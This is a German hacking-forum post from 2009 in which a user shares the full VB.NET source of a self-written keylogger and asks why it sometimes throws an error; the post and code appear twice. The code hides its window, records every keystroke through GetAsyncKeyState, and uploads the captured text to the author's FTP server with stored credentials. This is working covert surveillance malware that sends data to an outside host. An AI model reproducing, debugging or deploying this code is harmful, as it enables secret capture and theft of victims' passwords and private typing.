Breekachu
01.08.2009, 14:54
Hallo members von free-hack,
ich habe letztens aus langeweile einen keylogger programmiert.
das programm schreibt alle tastaturaktivitäten die der benutzer macht in eine textbox und sendet dann den inhalt der textbox an meinen FTP server.
natürlich ist die textbox unvisible und die form auch.
alles funktioniert eig nur hin und wieder erscheint folgende fehlermeldung:
http://img195.imageshack.us/img195/1453/fehlerw.th.jpg (http://img195.imageshack.us/i/fehlerw.jpg/)
und ich versetehe einfach nicht warum. könnt ihr mir helfen?
hier ist der code dazu:
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer
Public Function getkeypress() As Integer
For i As Integer = 1 To 255
If GetAsyncKeyState(i) = -32767 Then
Return i
End If
Next i
End Function
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Timer1.Enabled = True
Me.Opacity = 0
TextBox1.Visible = False
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim key As Integer = getkeypress()
If key <> 0 Then
TextBox1.Text = TextBox1.Text + CStr(Chr(key))
Else : End If
If TextBox1.TextLength >= 5 Then
Timer2.Enabled = True
End If
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim wcl As New Net.WebClient
wcl.Credentials = New Net.NetworkCredential("USERNAME", "*****")
wcl.UploadString("ftp://ftp.USERNAME.fu.funpic.de/LOG.txt", TextBox1.Text)
End Sub
End Class
ich habe letztens aus langeweile einen keylogger programmiert.
das programm schreibt alle tastaturaktivitäten die der benutzer macht in eine textbox und sendet dann den inhalt der textbox an meinen FTP server.
natürlich ist die textbox unvisible und die form auch.
alles funktioniert eig nur hin und wieder erscheint folgende fehlermeldung:
http://img195.imageshack.us/img195/1453/fehlerw.th.jpg (http://img195.imageshack.us/i/fehlerw.jpg/)
und ich versetehe einfach nicht warum. könnt ihr mir helfen?
hier ist der code dazu:
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer
Public Function getkeypress() As Integer
For i As Integer = 1 To 255
If GetAsyncKeyState(i) = -32767 Then
Return i
End If
Next i
End Function
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Timer1.Enabled = True
Me.Opacity = 0
TextBox1.Visible = False
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim key As Integer = getkeypress()
If key <> 0 Then
TextBox1.Text = TextBox1.Text + CStr(Chr(key))
Else : End If
If TextBox1.TextLength >= 5 Then
Timer2.Enabled = True
End If
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim wcl As New Net.WebClient
wcl.Credentials = New Net.NetworkCredential("USERNAME", "*****")
wcl.UploadString("ftp://ftp.USERNAME.fu.funpic.de/LOG.txt", TextBox1.Text)
End Sub
End Class